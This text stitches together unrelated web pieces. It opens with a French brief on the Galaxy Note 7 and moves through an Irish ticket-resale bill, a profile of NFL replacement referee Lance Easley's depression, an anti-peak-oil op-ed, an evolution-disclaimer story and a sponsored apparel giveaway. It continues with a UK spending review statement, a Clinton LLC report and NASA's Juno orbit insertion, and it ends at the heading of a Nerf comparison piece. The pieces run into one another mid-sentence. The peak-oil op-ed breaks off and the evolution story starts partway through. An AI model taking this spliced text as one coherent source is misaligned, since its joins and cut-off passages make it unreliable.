En Corée du Sud, les grandes entreprises comme Samsung ou LG tiennent une place privilégiée dans l’économie du géant asiatique et jouent un rôle décisif dans le développement.
Récemment, la décision d’arrêter la production et commercialisation du Galaxy Note 7 a eu des conséquences graves non seulement sur les revenus de Samsung Corporation mais aussi sur l’économie de la Corée de Sud. En effet, selon un haut cadre au sein du ministère des Finances sud coréen, une chute de 0.2% du PIB a été enregistrée. Par ailleurs, la firme incite toujours ses clients à rendre le smartphone explosif au plus vite et a envisagé de désactiver le Note 7 à distance pour éviter tout risque.
Notons que la firme ignore toujours les origines de la panne et qu’elle aspire à renouer avec ses fans via le Galaxy S8 qui sera présenté lors de la MWC 2017.THE TICKET RESALE website Seatwave has hit back against proposed legislation that would make it illegal to resell tickets for a profit of more than 10%.
It will ensure that those looking to sell tickets for exorbitant prices will have the profits from those sales eradicated by fines. Breaches of the 10% resale limit will result in fines of up to €5,000.
The Bill, which is not being opposed by government, has been put forward by Sinn Féin TD Maurice Quinlivan.
More than 24 interested parties made submissions to the public consultation, which was undertaken in response to public concern at the resale of tickets at a price often well in excess of their face value.
Two of these submissions were from Seatwave and Ticketmaster Ireland.
Sold-out gigs
Seatwave, which was acquired by Ticketmaster in November 2014, allows fans who missed out on sold-out gigs to purchase official tickets.
It allows fans to sell their tickets, even within minutes of purchase, and charges a 10% “success fee” on sales. It also allows customers set their own selling price.
The company came in for criticism earlier this year when U2 tickets, which sold out within minutes on Ticketmaster, popped up on Seatwave for thousands of euro.
With cases like the U2 concert becoming more common, the public consultation on the resale of tickets for entertainment and sporting events was launched.
In its submission, Seatwave stated that it strongly believes the introduction of legislation to regulate the ticket resale market “will be both ineffective and will, in fact, be detrimental to Irish fans”.
“In Ireland, the ticket resale market used to take place underground or offshore – out of reach of any consumer protection,” stated the submission.
The company cites a number of other countries that have introduced legislation to the same effect.
Seatwave said when Belgium implemented legislation in 2013 that strictly prohibited fans from reselling tickets at a higher price than the original sale value, the company closed its site.
“There is often rhetoric in the media that the resale market is broken, but this is not the case. The resale market is an example of an efficient market with ticket prices clearing at their market level. Event organisers can look to the resale market to give them an indication of how they should be pricing their tickets,” said Seatwave.
‘Media frenzy’
Ticketmaster stated in its submission that there had been a “media frenzy” around ticket resales.
The coverage of the increase in ticket sale prices on resale sites “only served to confuse the public and sensationalise the issue”, according to Ticketmaster.
Ticketmaster Ireland denied that it has ever placed tickets directly onto the resale market, adding that there is “no evidence to support the view that any of our clients are placing tickets directly onto the resale market”.
Our data shows that less than 1% of the tickets that Ticketmaster Ireland sells on behalf of its clients are subsequently resold – a vastly different story to what is told in the Irish press.
Bodies such as the Football Association of Ireland (FAI), Done Deal, the GAA, Toutless, and a number of TDs also made submissions, with many of them in favour of new legalisation.
Aiken Promotions
One of Ireland’s top promoters, Peter Aiken made the following submission:
The FAI said it believed “it would be helpful for legislation to be introduced in this area in order to combat the sale of tickets by persons who purchase tickets with no intention of ever attending the event but who resell the tickets at a significant profit”.
Meanwhile, the GAA said ticket touting should be classified as a criminal activity.
It said the current legislation “in no way reflects the technological developments of recent decades”.
It does not act as an incentive for the civil authorities to challenge the on-street touting at our fixtures or extortionate pricing on on-line sites. Any change to the current legislation would help protect consumers, our members and the organisation.
While many of the sporting bodies seemed to be in favour of the law change, the Irish Rugby Football Union (IRFU) said it would reserve its position on the proposal of new legislation.
Quinlivan called for cross-party support for his Bill stating that it will benefit event-goers and organisers alike.
“Ticket touting has escalated in recent years. With advances in technology, the practice has grown from traditional touts selling counterfeit, cancelled or extortionately priced tickets outside venues, to online sites, in the grey of regulation,” he said.
This is not the first Bill to be proposed to deal with the overpricing of tickets.
A similar Bill was proposed by Fine Gael TD Noel Rock and Fianna Fáil’s Stephen Donnelly some months ago.
While Sinn Féin’s Bill was selected by a lottery to be allowed to proceed – in a rare event for government it has decided to support a Bill from another party, despite having its own legislation in the works.
It’s understood questions are now being raised within the Fine Gael party as to why Noel Rock’s proposal is being sidelined.
Due to government supporting the Sinn Féin Bill, it’s believed the issue is likely to be raised at tomorrow’s parliamentary party meeting.As the 2012 Russell Wilson pass that would soon be known as the "Fail Mary" floated through the Seattle air, Lance Easley was still an anonymous NFL replacement referee.
Scroll to continue with content Ad
In his regular life, he was a vice president with Bank of America, a family man, a devout Christian and someone who for decades in California spent his free time refereeing high school football, small college basketball, whatever he could.
Today, everything is different.
It's more than two years since Easley made one of the most infamous calls in NFL history. It left him under siege from the media, both traditional and social. Players and coaches blasted him. Late-night comics mocked him. Irate fans and gamblers hammered him with crank calls and death threats. The controversy extended all the way to the presidential campaign trail with both Barack Obama and Mitt Romney addressing it.
Lance Easley was relatively anonymous until a MNF game in 2012. (Getty Images)
Today, Easley says, the man he was is gone. Perhaps only his faith remains the same. Today, everything else is up for grabs. Today, it's all a struggle.
"Right now I'm just trying to keep my life together," Easley told Yahoo Sports in a series of interviews just as the focus on the Fail Mary returns with the Green Bay Packers and Seattle Seahawks meeting Sunday for the NFC championship. "It's really difficult."
Easley, 55, says he is suffering from severe depression. It's an illness he periodically struggled with during his life but flared up significantly in the past year as he has tried, unsuccessfully, to put that night in Seattle, and the overwhelming pressure that followed, behind him.
Story continues
He was diagnosed last year, he said, with post-traumatic stress disorder. He managed the original onslaught of attention only to see his life spin out of control in the past year. Crippling panic attacks felt as if his heart was exploding. A fear of leaving the house left him rattled. Depression proved debilitating, making him suddenly ineffective at work.
"It's almost like a funeral," Easley said. "In the days around it you have a lot of support and you make it through. But as time goes by, you still have to process [the loss of a loved one]."
He sought treatment, both aggressive counseling and doctor-prescribed drugs. It didn't always help. There were suicidal thoughts.
"I felt like I didn't want to be here anymore," Easley said. "I never acted on it. It was horrible to have those thoughts. I hated having those thoughts."
In July 2014, Easley could hardly function. His doctors felt unable to control the situation and wanted to be able to watch him more closely as they changed his medicines. Under their advice, he said, he entered the Vista del Mar Hospital, an acute psychiatric facility in Ventura, Calif.
A week later he transferred to the Balance Treatment Center, a mental health rehab center in Calabasas, Calif., where he stayed through August. Upon release, he went through near daily counseling on an outpatient basis. He relapsed in November, he said, and returned to Balance Treatment for three more weeks and is now an outpatient again.
Since June, per doctor's orders, he's been on medical leave with Bank of America. His 30-year career is now stalled out. His finances are a predictable mess. In September he says he separated from his wife of 28 years.
He no longer feels comfortable in his home community on the Central Coast and is spending much of his time in Los Angeles. There have been days he, a guy whose life once consisted of racing around from one activity to the next – work, family, church, games – didn't want to see anyone or do anything.
He hasn't refereed anything of late, blackballed, he said, from all but high school work for crossing the union line. Even then he's not sure he could handle the pressure.
It's the saddest twist for a comically inept NFL play, a blooper for many fans. What most can only sort of remember, Lance Easley can't forget.
And it's crushing him.
"I am not the same guy I used to be," he said.
– – – – – – – – –
Sometimes, a lot of times, actually, Easley wonders why Wilson's last-second pass couldn't have just hit the turf. Or why Green Bay didn't play smart defense and just bat the ball away.
"Why did they try to catch it?" Easley asks.
The Packers' M.D. Jennings not only tried to catch that pass back in 2012, he did. Only so did Seattle's Golden Tate, who wrestled his way in there. When both players wound up with a share of the ball, Easley knew the call, any call, was going to be controversial.
Lance Easley often wonders why the Packers didn't knock down Russell Wilson's Hail Mary. (Getty Images)
He boldly signaled touchdown, ruling it simultaneous possession. Back judge Derrick Rhone-Dunn waved his arms, calling for a stoppage of the clock, even though it was already out of time. It looked like amateur hour on "Monday Night Football."
It was. Both men were replacement refs. Easley never called anything higher than California junior college football when the NFL hired him to fill in for, and put bargaining pressure on, the locked out regulars.
Every ref on the field missed an obvious pass interference by Tate. Replay couldn't do much, so the call stood. Seattle won, 14-12, even if many thought it was an interception and Green Bay was cheated.
Immediately, Easley's world blew up.
A man who joined the Marines out of high school, who spent years in sales, who as a ref sought the big moments of making big decisions suddenly felt fear, felt helplessness, felt like the most mocked and hated man in America. He felt besieged.
He wasn't used to such a thing, hadn't built up years of thick skin and coping techniques needed to live in the public eye. He was a nobody and liked it that way. Modern connectivity makes everything spin faster. He lacked any of the infrastructure (agent, publicist, lawyer) around him to handle it, like a scandal-ridden politician or Hollywood star would have.
"I was completely under attack," Easley said.
And, for the most part, alone. It proved too much.
– – – – – – – – –
Easley understands the doubts that come with admitting mental illness, especially as a man. He knows telling America he is suffering from PTSD from something as seemingly trivial as the Fail Mary will be met with scorn and skepticism.
Releasing personal medical information, admitting to a taboo illness is terrifying to him, he said. When he was an inpatient at Balance Treatment he lived in fear that it would get leaked out to TMZ, his story told without context.
"A lot of people don't understand mental health issues," Easley said.
He knows people will think he should just shake it off, power through, that this was no big deal, that so many other people are dealing with real tragedies, real challenges, real stuff.
Lance Easley had some laughs with Golden Tate over the infamous call. (Instagram/lawyermilloy)
He knows because he was one of them.
He says he tried. He recognized the storm and tried to weather it.
He went back to work. He hunkered down. He tried to own the decision (he still argues he made the proper call). He talked to anyone and everyone about it, from reporters to old friends to complete strangers.
He tried to bring levity to the situation by serving as a guest umpire at a charity softball game run by the Seahawks' Richard Sherman. Of course, a light-hearted photo with Tate riled some people up again.
He began giving moving speeches about surviving life inside a modern storm of overnight celebrity and controversy. He figured talking about it would be a good thing. It led to a profound book, "Making the Call: Living With Your Decisions."
He put together a four-point survival plan, D.E.A.F., to help tune out all the critical noise that comes from bullying. It was meant to be self-empowering.
• Don't be a victim.
• Embrace the stress and pressure.
• Adopt a good attitude, it's the one thing you can control.
• Form a foundation of strength to handle the storm.
For awhile he was DEAF. It worked. Then it didn't.
He likened it to an earthquake, which lets you know exactly how strong the foundation to your house is. Even if the structure survives the initial shake, the damage is done. It's just a matter of time.
"It doesn't cause all the problems, it pushes it over the top though," Easley said.
– – – – – – – – –
The possible break-up of his marriage is particularly painful. After 28 years, raising a now grown son, he thought it was solid. Now he questions everything.
"Maybe we weren't really that close" he said before sighing. "I don't know."
He knows people think he's being dramatic or ridiculous, but, he argues, why would he do this? Who would want this life? Who would admit this? This is the exact opposite of who he was.
He blames no one, not the NFL, not even the people who heckled and harassed him. "Hate is waste of energy," he said.
This story isn't coming out as part of a lawsuit. This isn't a cry for attention. This isn't a way to build himself up. He isn't asking for anything. He didn't go seeking it. He responded to a media inquiry and he won't hide how he feels.
He said he goes through counseling daily with people suffering from depression who are ashamed of their illness.
So Lance Easley isn't going to be ashamed.
He is sick. That shouldn't be embarrassing to admit or frightening to discuss.
"If you don't struggle with it, I guarantee you there is someone in your circle of family or friends that are affected by it," Easley said. "It knows no boundaries. Young, old, white, black, male, female. We know what people think, 'You're just lazy, you're just making excuses.'
"Believe me, we all wish we could just flip a switch."
– – – – – – – – –
After high school in the late 1970s, Easley joined the Marines, but fused bones in his feet caused him to be honorably medically discharged soon after boot camp. He enrolled at UCLA and found his love of sports drew him to referee intramural games.
It led to a three-decade career as a ref, mostly high schools, topping out at Division III basketball and junior college football. He'd applied once to the NFL but was rejected.
When word circulated in the summer of 2012 that the league was looking for potential replacements if its lockout of the union stretched into the season, Easley hesitated to apply. A friend finally convinced him to do it. At his age, and with his still injured feet, his career could go on only so much longer. Why not test himself at the highest level?
A Colts-Bears game in 2012 was an eye-opening introduction to the NFL for Lance Easley. (Getty Images)
"Besides, no one thought it would come to that, everyone thought they'd reach an agreement before the season," Easley said.
He got a call back, went to Atlanta for a tryout and made the cut. The lockout dragged. On opening day he found himself at Soldier Field for Indianapolis-Chicago. He marveled at the size of the stadium, the intensity of the action and the speed of the players.
By Week 3 of the season though, frustrations with the subpar calls of replacement refs reached a boiling point. Games were choppy, filled with penalties, often with players either fighting each other or complaining after each play. The coaches screamed only louder. Fans were restless and angry.
The perfect storm culminated with Tate and Jennings fighting for the ball on the final play of the game. Such a scenario was almost unheard of, a decision that would've challenged the best of the best. Does one have more possession than the other? Simultaneous? Anything?
"No matter who was back there it was going to be a big, brutal call," Easley said. "In the days after I called the NFL and asked if they had ever remembered seeing that play before. There was dead silence."
Easley made a decision. A lot of people disagreed. It was still just one call in one NFL game. As fans roar over various controversial decisions in this year's playoffs, it certainly wasn't the last.
"Nobody died," Easley said. "There were no laws broken. It wasn't scandalous. There was no sex tape. I didn't do anything wrong. It just happened to be a contentious call right when everything was spiraling out of control."
It shouldn't have been a big deal. It was.
– – – – – – – – –
Three days after the Fail Mary, the NFL and the union reached an agreement. For that, Easley jokes, fans should be grateful the play occurred.
They weren't. They aren't, although, in truth, almost everyone else has moved on. It's Easley who remains stuck.
"Health, finances, marriage. If you have trouble in one of those it can be tough," he said. "I have all three."
His life now is counselors, doctors and divorce attorneys. He's trying to rebuild, but knows he first needs to recover.
(AP)
He isn't without support. There's a grown son. There are friends and family who have stuck with him. The NFL, he said, remains available for help. He said he's done Bible study over the phone with former coach Tony Dungy and broadcaster James Brown.
He knows this is about him, this has to be done by him. He just isn't going to be quiet or apologize for it – not the illness, not the cure.
"I know I'll recover," he said. "I know it. It's just going to take time to get thru it."
This isn't what he wanted. It's not what he envisioned as he stood in the corner of that Seattle end zone, ball soaring through the air, a dream opportunity about to turn modern media nightmare.
"I watch NFL games now and I'm like, 'Was I really there?'" Easley said. "It doesn't seem real."But those are just the latest arguments — for the most part the peak-oil crowd rests its case on three major claims: that the world is discovering only one barrel for every three or four produced; that political instability in oil-producing countries puts us at an unprecedented risk of having the spigots turned off; and that we have already used half of the two trillion barrels of oil that the earth contained.
Let’s take the rate-of-discovery argument first: it is a statement that reflects ignorance of industry terminology. When a new field is found, it is given a size estimate that indicates how much is thought to be recoverable at that point in time. But as years pass, the estimate is almost always revised upward, either because more pockets of oil are found in the field or because new technology makes it possible to extract oil that was previously unreachable. Yet because petroleum geologists don’t report that additional recoverable oil as “newly discovered,” the peak oil advocates tend to ignore it. In truth, the combination of new discoveries and revisions to size estimates of older fields has been keeping pace with production for many years.
Photo
A related argument — that the “easy oil” is gone and that extraction can only become more difficult and cost-ineffective — should be recognized as vague and irrelevant. Drillers in Persia a century ago certainly didn’t consider their work easy, and the mechanized, computerized industry of today is a far sight from 19th-century mule-drawn rigs. Hundreds of fields that produce “easy oil” today were once thought technologically unreachable.
The latest acorn in the discovery debate is a recent increase in the overall estimated rate at which production is declining in large oil fields. This is assumed to be the result of the “superstraw” technologies that have become dominant over the past decade, which can drain fields faster than ever. True, because quicker extraction causes the fluid pressure in the field to drop rapidly, the wells become less and less productive over time. But this declining return on individual wells doesn’t necessarily mean that whole fields are being cleaned out. As the Saudis have proved in recent years at Ghawar, additional investment — to find new deposits and drill new wells — can keep a field’s overall production from falling.
When their shaky claims on geology are exposed, the peak-oil advocates tend to argue that today’s geopolitical instability needs to be taken into consideration. But political risk is hardly new: a leading Communist labor organizer in the Baku oil industry in the early 1900s would later be known to the world as Josef Stalin.
Newsletter Sign Up Continue reading the main story Please verify you're not a robot by clicking the box. Invalid email address. Please re-enter. You must select a newsletter to subscribe to. Sign Up You will receive emails containing news content, updates and promotions from The New York Times. You may opt-out at any time. You agree to receive occasional updates and special offers for The New York Times's products and services. Thank you for subscribing. An error has occurred. Please try again later. View all New York Times newsletters.
When the large supply disruptions of 1973 and 1979 led to skyrocketing prices, nearly all oil experts said the underlying cause was resource scarcity and that prices would go ever higher in the future. The oil companies diversified their investments — Mobil even started buying up department stores! — and President Jimmy Carter pushed for the development of synthetic fuels like shale oil, arguing that markets were too myopic to realize the imminent need for substitutes. All sorts of policy wonks, energy consultants and Nobel-prize-winning economists jumped on the bandwagon to explain that prices would only go up — even though they had never done so historically. Prices instead proceeded to slide for two decades, rather as the tide ignored King Canute.
Just as, in the 1970s, it was the Arab oil embargo and the Iranian Revolution, today it is the invasion of Iraq and instability in Venezuela and Nigeria. But the solution, as ever, is for the industry to shift investment into new regions, and that’s what it is doing. Yet peak-oil advocates take advantage of the inevitable delay in bringing this new production on line to claim that global production is on an irreversible decline.
In the end, perhaps the most misleading claim of the peak-oil advocates is that the earth was endowed with only 2 trillion barrels of “recoverable” oil. Actually, the consensus among geologists is that there are some 10 trillion barrels out there. A century ago, only 10 percent of it was considered recoverable, but improvements in technology should allow us to recover some 35 percent — another 2.5 trillion barrels — in an economically viable way. And this doesn’t even include such potential sources as tar sands, which in time we may be able to efficiently tap.
Oil remains abundant, and the price will likely come down closer to the historical level of $30 a barrel as new supplies come forward in the deep waters off West Africa and Latin America, in East Africa, and perhaps in the Bakken oil shale fields of Montana and North Dakota. But that may not keep the Chicken Littles from convincing policymakers in Washington and elsewhere that oil, being finite, must increase in price. (That’s the logic that led the Carter administration to |
of the most amazing discoveries of modern science. Of course some parents (or their children) might have religiously-based objections to evolution, but I also think there's no need for science education centers to cater to such sentiments."
"Evolution happens to be true, and people need to learn about it. Making it seem'scary' in this way only adds to the bad feelings people have about such a marvelous view of life, and deprives children of a proper grounding in biology," Coyne maintained.
The CuriOdyssey center reportedly returned contact to Mehta this week, informing the atheist blogger that they had in fact posted the disclaimer about evolution as a courtesy to religious visitors, but have now decided to remove the disclaimer from their posters.
"In short, yes, there were religious visitors to the museum who were surprised to hear evolution mentioned in some of the presentations. Because evolution didn't 'align with their personal beliefs,' the museum thought it would be helpful to offer the warning. But after hearing feedback from science advocates, they decided the disclaimer didn't align with their mission and they will no longer be including it on any promotional materials," Mehta wrote.If you’re looking for a luxury sun apparel protection brand who delivers a duo of adorable styles and ultra comfort, look no further than Shēdo Lane. This family run company offers a variety of pieces for men, women, girls, boys, toddlers, and even all the way down to babies! And today, I’m excited to partner with them for this review for our 2016 Holiday Gift Guide stop.
All clothing pieces from Shēdo Lane utilize the highest rated UPF 50+ UV Sun Protective fabric construction to offer the safest possible wear. Because the material is made from Bamboo, it’s absolutely deliciously soft like butter! This makes is perfect for every day wear, lounging around the house, or because it’s also super stylish, even perfect for the office or a night out!
I’m always drawn to stuff for my kids so my eyes were immediately drawn to the beautiful Swing Dress and Girl Leggings. The dress is available in either navy/white stripe or coral and the leggings come in navy/white stripe, coral, or white. Since I went with the Coral Dress and White leggings, I decided to size up to a 3 (for our 2 year old daughter) because I’d love for her to still be able to wear next Spring and Summer. These colors just make me think fun in the sun on the beach! I’d say that both pieces do run true to size as they fit but have room to spare for us and she’s typically in a 2 right now.
The pieces truly offer superior comfort as the quality is evident immediately upon touching. They move and flow easily and our little girl was running, jumping, playing, napping, and going about her entire day easily.
Because the SPF 50+ is built into the fabric, their pieces are both fashionable and functional. Plus, Shēdo Lane apparel believes in giving back and they donate 5% of their net profits to non-profit skin cancer fighting organizations. As you can see, we absolutely adore the pieces we received and I can’t wait to try Shēdo Lane out myself!
Buy It: Head over to Shēdo Lane to see for yourself the great selection of stylish products they offer.
Connect: Don’t forget to like Shēdo Lane on Facebook, follow them on Instagram and Google + for all the latest news and promotions.
Win It: Shēdo Lane is generously offering one of our lucky readers a $25 gift card to their online shop! This giveaway is open to the US only and will end December 25th, 2016. For your chance to win, enter the Giveaway Tools below. Good luck!
Entry Form
I’m a city girl turned country by my awesome husband and we have three busy boys and two darling daughters. I love spending time with my family, reading Karen Kingsbury novels, and catching up with friends while our kiddos have play dates. I’m blessed beyond measure and can’t wait to see what God has in store.
Follow Miranda on Pinterest | Twitter| Blog | Instagram http://www.emilyreviews.com/category/miranda
Related posts we've written:When President Obama announced strong measures to combat climate change last week, environmentalists who felt he had long soft-pedaled the issue for political reasons rejoiced.
But many Republicans were just as gleeful — in the belief they had been handed a powerful issue to use against Democrats in the 2014 midterm elections in energy-rich states from Texas to Minnesota.
Elected officials and political analysts said the president’s crackdown on coal, the leading source of industrial greenhouse gases, could have consequences for Senate seats being vacated by retiring Democrats in West Virginia and South Dakota, for shaky Democratic incumbents like Mary L. Landrieu of energy-rich Louisiana, and for the Democratic challenger of Senator Mitch McConnell of Kentucky, the Republican leader.
In ordering limits for the first time on carbon dioxide emissions from up-and-running power plants, Mr. Obama jabbed that opponents belonged to “the Flat Earth Society.” But in coal country, it was Mr. Obama who was called out of touch, with predictions of job losses and spiking energy bills.Pace of spending cuts eased with the state set to be increasingly focused on healthcare and pensions
Reversing tax credits cuts will bring welcome relief for millions of families who were set to lose an average of £1,300 next year. But most of the losses have been delayed rather than scrapped, leaving millions of working families significantly worse off by the end of the parliament, the Resolution Foundation said in response to today’s Spending Review.
The Chancellor used a £27bn fiscal windfall to ease the pace of spending cuts. Combined changes to welfare and departmental budgets mean that a record 42.3 per cent of state spending is set to be directed towards older people and healthcare by the end of the parliament.
Torsten Bell, Director of the Resolution Foundation said:
“On tax credits it is very welcome that the vast majority of families will not see losses next April. The Chancellor has done the right thing by reversing these tax credit cuts entirely, rather than fudging the issue.
“However Universal Credit is the big loser because the cuts to it have not been reversed. Millions of low-income working families are still set to be significantly worse off by the end of the parliament if the Universal Credit roll-out goes ahead as planned. Pain tomorrow is better than pain today – but it is still pain.”
“The Chancellor has toned down his plans to shrink the state. But we will still see large cuts that radically change what that state does. By the end of the parliament, the state will be focused on delivering healthcare and paying pensions, but will do much less to support young people or those on low-incomes.”
On tax and benefit changes
The reversal of cuts to tax credits announced today will provided welcome short-term relief, by avoiding almost all the immediate losses next April which were set to average £1,300 per family.
However by pressing ahead with planned cuts to Universal Credit (UC) the outcomes will be broadly unchanged by 2020. This will lead to losses for millions of households, and permanently reduce the return for working among families on UC.
RF analysis shows that by 2020 more than 3 million households are still set to lose an average of £1,000 from the £3.5bn cut to UC. But the losses could be significantly larger for some families.
New RF modelling of the combined tax and benefit changes in the Summer Budget and Spending Review shows that by 2020:
a low-earning couple with three children, where one parent works full-time and the other works part-time, are set to lose £3,060 by 2020
a single parent with one child, working part-time on the National Living Wage, is set to lose £2,800 by 2020
a single person with no kids, working full time on the National Living Wage, will be £1,280 better off by 2020.
David Finch, Senior Economic Analyst at the Resolution Foundation, said:
“The welcome reversal of planned cuts to tax credits will bring short-term relief to millions of working families. But they could still see major losses later in the parliament.
By 2020, millions working families will lose an average of £1,000 as a result of cuts to Universal Credit, though the losses could rise to £3,000 for some families. The majority will be worse off despite tax cuts and the rising National Living Wage.
“These cuts will also hit work incentives in Universal Credit, which risks undermining the government’s flagship welfare reform programme.”
On the changing shape and size of the state
The Chancellor has announced a softening of cuts to departmental spending over the course of the parliament. Today’s Spending Review cut £10 billion from departments rather than the £18 billion previously planned.
Nonetheless the £10bn cuts to departmental resource spending by 2019-20, combined with protections for health, schools, defence and international aid, will mean cumulative cuts of over 45 per cent for many key departments since 2009-10.
New RF analysis shows that the biggest loser in terms of spending cuts will transport (-75%). In contrast, spending on the NHS is set to increase by 11 per cent over the decade, while international aid is set to increase by 52 per cent.
Matthew Whittaker, Chief Economist at the Resolution Foundation, said:
“The Chancellor today eased the pace of cuts substantially and set the direction for the future of the state.
“This easing is based on an expected £27bn boost in the public finance projections. Given the uncertainty of such forecasts, he may yet find that his planned surplus will be reduced.
“Despite scaling back his cuts, the reductions in spending mean that the size of the state is still set to fall to around to 36.5 per cent of GDP, a figure that has only been lower three times since 1948.
“Britain’s shrinking state is also being radically transformed. By 2020, public service provision will be dominated by health. The shift has profound implications for what young people receive from the state, as well as the viability of non-protected public services, such as social care and research grants, in their current form.”
On the economic outlook
The OBR earnings projection has been downgraded slightly over the parliament. Household income projections have also been revised down. By 2020 average disposable income is forecast to be 4.3 per cent higher than in 2009, relative to a July projection of 6.2 per cent.
New RF analysis shows that typical pay, which is currently £1 an hour below its peak, is set to return to its 2009 level by 2019 – meaning a decade of lost pay growth.
Laura Gardiner, Senior Polict Analyst at the Resolution Foundation, said:
“Pay growth finally bounced back last year, though it has been revised down slightly over the course of the parliament.
“Nonetheless typical earnings are finally set to return to pre-crash levels at the end of the parliament – meaning a decade of lost pay growth.
“The big question is whether the tentative signs of stronger productivity growth will boost wages by enough to offset rising inflation and sustain our pay recovery into next year.”
Impact of Summer Budget and Autumn Statement on incomes for different family types in 2020
Cumulative cuts to resource departmental spending since 2010
Resolution Forecast median wage projection
Share of total state spending by 2020“A category of government activity which, today, not only requires the closest scrutiny, but which also poses a grave danger to our continued freedom, is the activity NOT within the proper sphere of government. No one has the authority to grant such powers, as welfare programs, schemes for re-distributing the wealth, and activities which coerce people into acting in accordance with a prescribed code of social planning. There is one simple test. Do I as an individual have a right to use force upon my neighbor to accomplish this goal? If I do have such a right, then I may delegate that power to my government to exercise on my behalf. If I do not have that right as an individual, then I cannot delegate it to government, and I cannot ask my government to perform the act for me…In reply to the argument that a little bit of socialism is good so long as it doesn't go too far, it is tempting to say that, in like fashion, just a little bit of theft or a little bit of cancer is all right, too! History proves that the growth of the welfare state is difficult to check before it comes to its full flower of dictatorship. But let us hope that this time around, the trend can be reversed. If not then we will see the inevitability of complete socialism, probably within our lifetime.”
― Ezra Taft BensonThe newly released financial files on Bill and Hillary Rodham Clinton’s growing fortune omit a company with no apparent employees or assets that the former president has legally used to provide consulting and other services, but which demonstrates the complexity of the family’s finances.
Because the company, WJC, LLC, has no financial assets, Hillary Clinton’s campaign was not obligated to report its existence in her recent financial disclosure report, officials with Bill Clinton’s private office and the Clinton campaign said. They were responding to questions by The Associated Press, which reviewed corporate documents.
The officials, who spoke on condition of anonymity because they were not authorized to provide private details of the former president’s finances on the record, said the entity was a “pass-through” company designed to channel payments to the former president.
Under federal ethics disclosure rules, declared candidates do not have to report assets worth less than $1,000. But the company’s existence demonstrates the complexity of tracking the Clintons’ finances as Hillary Clinton ramps up her presidential bid.
While Bill Clinton’s lucrative speeches have provided the bulk of the couple’s income, earning as much as $50 million during his wife’s four-year term as secretary of state in the Obama administration, the former president has also sought to branch out into other business activities in recent years. Little is known about the exact nature and financial worth of Bill Clinton’s non-speech business interests.
The identities of several US and foreign-based companies and foundations that Bill Clinton worked for have been disclosed in Hillary Clinton’s recent financial report as well as in earlier reports during her stint as secretary of state.
Under federal disclosure rules for spouses’ earned income, Hillary Clinton was only obligated to identify the source of her spouse’s income and confirm that he received more than $1,000. As a result, the precise amounts of Bill Clinton’s earned income from consulting have not been disclosed, and it’s not known how much was routed through WJC, LLC.
WJC, LLC was set up in Delaware in 2008 and again in 2013 and in New York in 2009, according to documents obtained by The AP. The company did not appear among holdings in the Clintons’ financial disclosure released last week or in previous Hillary Clinton disclosure reports between 2008 and 2013, when she resigned as secretary of state. Bill Clinton signed a document as its “authorizing person” in a corporate filing in Delaware in 2013.
A limited liability company is a commonly used business structure that provides tax advantages and limited legal protection for the assets of company owners and partners.
The purpose of Bill Clinton’s US-based company was not disclosed in any of the corporate filings in Delaware and New York, but State Department files recently reviewed by the AP show that WJC, LLC surfaced in emails from Bill Clinton’s aides to the department’s ethics officials.
In February 2009, Clinton’s counselor, Douglas Band, asked State Department ethics officials to clear Bill Clinton’s consulting work for three companies owned by influential Democratic party donors. Memos sent by Band proposed that Bill Clinton would provide “consulting services regarding geopolitical, economic and social trends affecting the entity and philanthropic opportunities” through the WJC, LLC entity.
State Department officials approved Bill Clinton’s consulting work for longtime friend Steve Bing’s Shangri-La Industries and another with Wasserman Investments, GP, a firm run by entertainment executive and Democratic party donor Casey Wasserman. The ethics officials turned down Bill Clinton’s proposed work with a firm run by entertainment magnate and Democratic donor Haim Saban because of Saban’s active role in Mideast political affairs.
WJC, LLC was also cited by Band in a June 2011 memo sent to State Department ethics officials asking for clearance to allow Bill Clinton to advise Band’s international consulting company, Teneo Strategy LLC. Band’s request said Teneo would use “consulting services provided by President Clinton through WJC, LLC.” State Department officials approved the three-year contract between the two companies.
None of the proposals detailed how much Bill Clinton would be paid.
While Hillary Clinton’s 2011 federal disclosure report did not mention WJC, LLC, it reported that Bill Clinton received “non-employee compensation over $1,000 from Teneo,” but did not disclose a more precise amount. Federal disclosure rules require the spouses of filers to disclose the identity of any income sources over $1,000, but they do not have to provide exact figures.
Pass-through, or shell, companies became an issue in the 2012 presidential campaign when Republican candidate Mitt Romney disclosed a private equity entity worth $1.9 million despite failing to report the company on his previous federal disclosure. Romney aides said the company previously held no assets but then received the $1.9 million “true up” payment — a catch-up payment to make up for private equity fees from defunct investment advisory businesses that had not been previously paid.It's the fourth of July, so it's time to watch things burn. (In a safe, controlled way, please, thank you.) We speak not of fireworks, but of Juno, the NASA spacecraft that will ignite its fuel today at 11:18 pm Eastern to slow down and settle into Jupiter's orbit after five years in space.
If Juno doesn't sync up with Jupiter's gravity on the first try, it will careen off and away. NASA scientists won't get to study Jupiter's auroras or snap photos of its red streaks or learn if the gas giant actually has a secret rocky core. Because of the 49-minute communications delay between Jupiter and Earth, Juno's computer has to plot the course on its own. A lot is riding on those lines of code.
The "orbital insertion maneuver," aka lighting hydrazine fuel on fire, will begin at 11:18 pm Eastern Earth Received Time—as in that's when NASA will have learned about it given the 49 minute communications delay. (NASA's live coverage, which you can watch up top, starts at 10:30 pm Eastern.) There is no friction in empty space, so Juno's only way to brake is to fire its engines and thrust in the opposite direction of travel. Juno has to start braking precisely 2,609 miles away from Jupiter to get into place for all its scientific work.
Thirty-five minutes later at 11:53 pm Eastern, the spacecraft will have (hopefully) slowed down enough to fall into Jupiter's orbit. The spacecraft will be transmitting tones through the process, each tone a signal for a different milestone, including the final "I am in orbit" tone.
Juno has other obstacles though. Jupiter has a powerful magnetic field that traps and accelerates tiny charged particles, basically radiation. Any of these particles could punch through Juno and take out its electronics. So its most important electronic brains are shielded behind a titanium vault. And Juno will travel in an odd-looking oblong orbit around Jupiter to get away from some of the most intense areas of radiation.
If all goes well, Juno will orbit Jupiter 37 times over 20 months. Juno's nine instruments will be snapping and sensing away, and its first closeups of Jupiter will start arriving soon. That'll call for another celebration.Since the introduction of the first foam ball shooting blaster in 1989, the name “Nerf” has been synonymous with harmless, foam-based weaponry. But in 2014—some 25 years after the original Nerf Blast-a-Ball hit the market—famed toy maker Mattel introduced BOOMco, the first true competitor to Hasbro’s decades-long, Nerf-branded dominance of the blaster market. Unlike many other, value-based blaster brands that have come and gone, BOOMco blasters haven’t been designed to capture Hasbro’s leftovers.
Instead, Mattel is aiming their BOOMco blasters squarely at the Nerf shopper, even going so far as to steal shelf space at major retailers where Nerf once owned virtually the entire category.
How is BOOMco different than Nerf?
